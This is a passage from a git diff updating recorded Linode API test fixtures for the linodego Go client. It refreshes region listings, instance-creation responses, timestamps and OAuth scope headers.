"NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, - 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, - 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", - "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", - "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": - "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, - 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": - 25}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -228,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:16:48 GMT + - Fri, 31 May 2024 17:43:45 GMT Pragma: - no-cache Strict-Transport-Security: @@ -245,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -254,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-358mpv9r0r2r","booted":false}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-ev767x8w5vl4","firewall_id":501419,"booted":false}' form: {} headers: Accept: @@ -266,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 54933834, "label": "go-test-ins-wo-disk-358mpv9r0r2r", "group": + body: '{"id": 59542926, "label": "go-test-ins-wo-disk-ev767x8w5vl4", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["172.105.40.168"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.105.42.155"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "b87012b659b947e3d8e73fccf7a05a0eaa29cc4d", "has_user_data": false}' + "6c894953633c462841b5472b8531a0bcef51c1fa", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -291,13 +339,13 @@ interactions: Connection: - keep-alive Content-Length: - - "738" + - "762" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:16:48 GMT + - Fri, 31 May 2024 17:43:45 GMT Pragma: - no-cache Strict-Transport-Security: @@ -312,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -321,7 +372,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-conf-al02052hsw8z","devices":{},"interfaces":null}' + body: '{"label":"go-test-conf-023m85g0dcnj","devices":{},"interfaces":null}' form: {} headers: Accept: @@ -330,10 +381,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933834/configs + url: https://api.linode.com/v4beta/linode/instances/59542926/configs method: POST response: - body: '{"id": 58038228, "label": "go-test-conf-al02052hsw8z", "helpers": {"updatedb_disabled": + body: '{"id": 62729557, "label": "go-test-conf-023m85g0dcnj", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", @@ -362,7 +413,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:16:49 GMT + - Fri, 31 May 2024 17:43:45 GMT Pragma: - no-cache Strict-Transport-Security: @@ -377,7 +428,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -395,18 +449,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933834 + url: https://api.linode.com/v4beta/linode/instances/59542926 method: GET response: - body: '{"id": 54933834, "label": "go-test-ins-wo-disk-358mpv9r0r2r", "group": + body: '{"id": 59542926, "label": "go-test-ins-wo-disk-ev767x8w5vl4", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["172.105.40.168"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.105.42.155"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": - null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "b87012b659b947e3d8e73fccf7a05a0eaa29cc4d", "has_user_data": false}' + true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, + "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": + [], "host_uuid": "6c894953633c462841b5472b8531a0bcef51c1fa", "has_user_data": + false, "placement_group": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -423,13 +478,13 @@ interactions: Connection: - keep-alive Content-Length: - - "738" + - "778" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:16:49 GMT + - Fri, 31 May 2024 17:43:45 GMT Pragma: - no-cache Strict-Transport-Security: @@ -445,7 +500,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -463,7 +521,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933834 + url: https://api.linode.com/v4beta/linode/instances/59542926 method: DELETE response: body: '{}' @@ -489,7 +547,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:16:49 GMT + - Fri, 31 May 2024 17:43:46 GMT Pragma: - no-cache Strict-Transport-Security: @@ -504,7 +562,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestInstance_Resize.yaml b/test/integration/fixtures/TestInstance_Resize.yaml index cff990d59..9a367bbc1 100644 --- a/test/integration/fixtures/TestInstance_Resize.yaml +++ b/test/integration/fixtures/TestInstance_Resize.yaml @@ -15,199 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", - "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "nl-ams", - "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, - 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, - 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", - "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, - 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, - 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", 